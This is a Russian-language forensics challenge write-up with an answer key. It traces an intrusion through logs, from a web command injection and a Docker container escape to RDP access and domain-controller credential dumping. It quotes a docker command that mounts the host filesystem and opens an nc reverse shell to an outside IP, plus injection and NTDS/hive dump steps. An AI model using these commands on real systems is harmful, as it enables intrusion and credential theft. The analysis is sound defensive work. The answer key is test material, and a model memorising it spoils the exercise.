# szi-logs-11-3

## Идея
Собран короткий таймлайн из landing-http.log, landing.csv, gitea.log, gitea.csv, director.csv и dc-1.csv: эксплуатация endpoint на landing, выход из контейнера на хост, дальнейшее развитие в Windows-сегмент, доступ к директору по RDP, локальный привилегированный запуск исполняемого файла, затем повышение на DC и выгрузка чувствительных данных.

## Решение

1. Endpoint на landing
	В landing-http.log есть успешные запросы к /admin/ping (200) и затем инъекции через параметр host, например /admin/ping?host=;ls (line 79655).
	Ответ: /admin/ping.

2. Команда выхода из контейнера
	В landing.csv явно зафиксирована команда: docker run -v /:/host --rm alpine:latest sh -c nc 5.42.103.77 8001 -e /bin/sh (line 808).
	Ответ: docker run -v /:/host --rm alpine:latest sh -c nc 5.42.103.77 8001 -e /bin/sh.

3. RCE/PrivEsc на gitea
	По gitea.log видны HTTP-запросы к репозиториям, включая чтение файла с паролем (line 300), но нет явной цепочки RCE и повышения привилегий, как на landing/director/dc-1.
	Ответ: no_no.

4. Файл, чтение которого позволило развить атаку в Windows
	В gitea.log есть GET к /admin/director/src/branch/main/director_password.txt (200) (line 300).
	Ответ: director_password.txt.

5. Протокол доступа к компьютеру директора
	В director.csv присутствует процесс rdpclip под termsvcs (line 557), что соответствует RDP-сессии.
	Ответ: RDP.

6. Исполняемый файл для повышения привилегий на хосте директора
	В director.csv зафиксирован запуск \\127.0.0.1\ADMIN$\38643a7.exe (line 781), затем его выполнение через rundll32.
	Ответ: 38643a7.exe.

7. Полный путь к файлу, которым повышали привилегии на dc-01
	В dc-1.csv есть запуск \\127.0.0.1\ADMIN$\daccb2a.exe (line 1051).
	Ответ: \\127.0.0.1\ADMIN$\daccb2a.exe.

8. Куда сохранили чувствительные данные после повышения
	В dc-1.csv видно создание дампов: ntds.bak через esentutl (line 1105), SYSTEM.hiv (line 1126), SECURITY.hiv (line 1131).
	Ответ: ntds.bak_SYSTEM.hiv_SECURITY.hiv.

## Финальные ответы

1. /admin/ping
2. docker run -v /:/host --rm alpine:latest sh -c nc 5.42.103.77 8001 -e /bin/sh
3. no_no
4. director_password.txt
5. RDP
6. 38643a7.exe
7. \\127.0.0.1\ADMIN$\daccb2a.exe
8. ntds.bak_SYSTEM.hiv_SECURITY.hiv
